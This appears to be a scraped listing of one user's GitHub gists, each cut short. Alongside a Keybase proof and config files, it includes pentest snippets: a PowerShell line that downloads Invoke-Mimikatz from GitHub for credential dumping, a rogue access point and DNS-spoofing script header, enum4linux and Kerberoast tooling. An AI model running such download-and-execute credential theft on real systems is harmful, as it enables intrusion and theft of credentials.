jaredhaight

Keybase proof

I hereby claim:

• I am jaredhaight on github.
• I am jaredhaight (https://keybase.io/jaredhaight) on keybase.
• I have a public key whose fingerprint is 517C 3E62 0B3C 12F1 01C6 DEF7 EE1C 9ED5 4781 F114

To claim this, I am signing this object:

jaredhaight

# Covers JetBrains IDEs: IntelliJ, RubyMine, PhpStorm, AppCode, PyCharm

*.iml

## Directory-based project format:
.idea/
# if you remove the above rule, at least ignore the following:

# User-specific stuff:
# .idea/workspace.xml

jaredhaight

syntax on
set nocompatible
set wildmenu
set number
set tabstop=4

jaredhaight

#! /usr/bin/python

import sys

if len(sys.argv) !=3:
    print "Usage: gen_ps1_wget.py <http_server> <file_to_download>"
    sys.exit(0)
print "\n"
print "Copy and paste the following in to the host:"
print "\n"

jaredhaight

if [ -z "$1" ]; then
    echo "Usage: $0 <file_with_ips>"
        exit 0
    fi

    echo "Running enum4linux\n"
    echo "IP File: $1"
    echo "\n"

    for ip in $(cat $1);do

jaredhaight

$Source = @"

using System;
using System.IO;
using System.Text;
using System.IO.Compression;
using System.Collections.Generic;
using System.Runtime.InteropServices;
using System.Security.Cryptography;

jaredhaight

# This is broken out bit by bit to show whats going on

# Here we point to the url for the raw ps1 file for invoke-mimikatz
$mkatz_ps1_url = "https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1"

# Here we call the .NET framework to create a webclient object and download 
# the raw file from the url, assigning the contents of the file to the 
# $mkatz_dl var.
$mkatz_dl = (New-Object Net.WebClient).DownloadString($mkatz_ps1_url)

jaredhaight

Terms

• Stack: Location in RAM where the processor stores stuff (variables, functions, etc)
• Registers: Locations on the CPU where data is stored/processed.

Immuity

• Good walk through here
• Tricks
  • Sometimes the registers screen goes blank, to fix this by toggling the view (hit the "C" button)
  • If you're searching for a memory address and it doesn't show up the first time, run the search again. Theres a bug in Immunity that causes this

jaredhaight

#### INIT SCRIPT ####
#!/bin/bash

 #########################################################
#                                                         #
#  * Make sure to update hostapd.conf to use the monitor  #
#    interface (default is wlan0)                         #  
#  * Add MACs of devices you are working with to the      #
#    allowed_macs file                                    #   
#  * Add DNS entries you're spoofing to dns_entries       #

jaredhaight

<#

Invoke-Kerberoast.ps1
Author: Will Schroeder (@harmj0y), @machosec
License: BSD 3-Clause
Required Dependencies: None

Credit to Tim Medin (@TimMedin) for the Kerberoasting concept and original toolset implementation (https://github.com/nidem/kerberoast).

Note: the primary method of use will be Invoke-Kerberoast with various targeting options.